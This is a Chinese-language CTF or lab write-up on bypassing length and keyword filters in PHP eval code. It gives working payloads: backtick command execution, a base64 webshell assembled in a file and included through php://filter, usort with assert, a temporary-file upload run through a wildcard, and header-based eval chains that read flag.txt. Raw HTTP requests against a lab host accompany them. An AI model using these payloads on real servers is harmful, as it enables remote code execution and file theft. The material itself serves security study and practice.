目录
[PHP Eval函数参数(EVAL长度限制16字符)](#PHP Eval函数参数(EVAL长度限制16字符))
[include_GET\[1\]](#include_GET[1])
[usort(..._GET);](#usort(..._GET);)
[easy - phplimit](#easy - phplimit)
PHP Eval函数参数(EVAL长度限制16字符)
利用eval执行
<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) {
eval($param);
}
利用如下payload来绕过过滤机制,执行代码生成文件。
param=`$_GET[a]`;&a=echo Hello, World! > test.txt
当然还可以执行其他的命令
?param=echo%20`$_GET[a]`;&a=whoami

include$_GET[1]
基于上述php文件执行的机制,这里介绍一个新的方法
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
我们利用include$_GET[1]来执行文件中的内容,从而执行我们想要执行的代码,
那么,我们就需要往一个文件中写入我们的代码
即:
<?php eval($_POST[9]);
我们需要将其进行base64的编码
PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
然后不断将以下内容写入N文件中
1=file_put_contents¶m=$_GET[1](N,P,8);
1=file_put_contents¶m=$_GET[1](N,D,8);
...
1=file_put_contents¶m=$_GET[1](N,w,8);
最终形式为

接着执行我们的payload
抓包修改内容如下


usort(...$_GET);
同样基于上述代码执行的过程
?1[]=test&1[]=phpinfo();&2=assert
-
利用可变函数与数组特性 在请求中,1[]=test&1[]=phpinfo() 部分构建了一个数组 $_GET['1'],其中包含了 test 和 phpinfo() 两个元素。phpinfo() 是一个可执行的 PHP 函数,攻击者借助数组传递函数名,为后续执行代码埋下伏笔。同时,2=assert 将 assert 这个危险的可变函数作为参数值传递,assert 函数可执行任意 PHP 代码,攻击者利用它来执行恶意代码。
-
利用展开运算符构造恶意代码 请求体中的 param=usort(...*GET); 运用了 PHP 的展开运算符 ... 对 *GET 数组进行展开操作。结合前面传递的 assert 函数和 phpinfo() 函数名,攻击者意图构造出能够执行任意代码的恶意语句。例如,若服务器端代码存在漏洞,直接将这些输入作为代码执行,就可能导致 assert 函数执行 phpinfo() 或其他恶意代码。


7个字符的情况下
创建一个rce.txt文件

用于文件上传
创建文件file.php

创建文件rce1.html

创建文件rce1.php

抓包file.php和rce1.php
POST /file.php HTTP/1.1
Host: 172.25.254.145
Content-Type: multipart/form-data; boundary=----geckoformboundaryfcc506bfb20e5c6556607016e0c5eb49
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept-Encoding: gzip, deflate
Origin: http://172.25.254.145
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://172.25.254.145/rce1.html
Content-Length: 227
------geckoformboundaryfcc506bfb20e5c6556607016e0c5eb49
Content-Disposition: form-data; name="file"; filename="rce.txt"
Content-Type: text/plain
#/bin/bash
id
------geckoformboundaryfcc506bfb20e5c6556607016e0c5eb49--
在rce1.php中对应修改Content-Type和上传文件内容为file.php中的内容,
同时修改包的类型为

payload为
?param=.+/t*/*
如下所示
POST /rce1.php?param=.+/t*/* HTTP/1.1
Host: 172.25.254.145
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=----geckoformboundaryfcc506bfb20e5c6556607016e0c5eb49
Content-Length: 141
------geckoformboundaryfcc506bfb20e5c6556607016e0c5eb49
Content-Disposition: form-data; name="file"; filename="rce.txt"
Content-Type: text/plain
#/bin/bash
whoami
------geckoformboundaryfcc506bfb20e5c6556607016e0c5eb49--
重新发送包,获取id

获取根下的文件

easy - phplimit
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
方法1
code=eval(next(getallheaders()));
Upgrade-Insecure-Requests:phpinfo();
-
getallheaders()
:这是一个 PHP 函数,用于获取当前请求的所有 HTTP 头信息,并以关联数组的形式返回。 -
next(getallheaders())
:next()
函数用于将数组内部指针向后移动一位,并返回当前指针指向的值。所以next(getallheaders())
会获取请求头中的第二个头信息的值。 -
eval(next(getallheaders()));
:eval()
函数会将传入的字符串作为 PHP 代码来执行。这里会执行请求头中第二个头信息的值所代表的 PHP 代码。
Upgrade - Insecure - Requests:phpinfo();
- 这是一个自定义的 HTTP 请求头,其值为
phpinfo();
。当eval(next(getallheaders()));
执行时,next(getallheaders())
会获取到这个头信息的值phpinfo();
,然后eval()
会执行phpinfo();
代码,从而输出当前 PHP 环境的详细信息。
过程
-
当发送包含上述
payload
的 HTTP 请求时,PHP 代码会先对$_GET['code']
进行正则替换,由于eval(next(getallheaders()));
经过替换后只剩下分号;
,满足if
条件。 -
接着
eval($_GET['code'])
会执行,也就是执行eval(next(getallheaders()));
,进而执行phpinfo();
代码,输出 PHP 环境信息。

方法2
扫描目录
code=eval(next(current(get_defined_vars())));&b=print_r(scandir('./'));

读取文件
code=eval(next(current(get_defined_vars())));&b=print_r(file_get_contents('./flag.txt'));

code=eval(next(current(get_defined_vars())));&b=phpinfo();
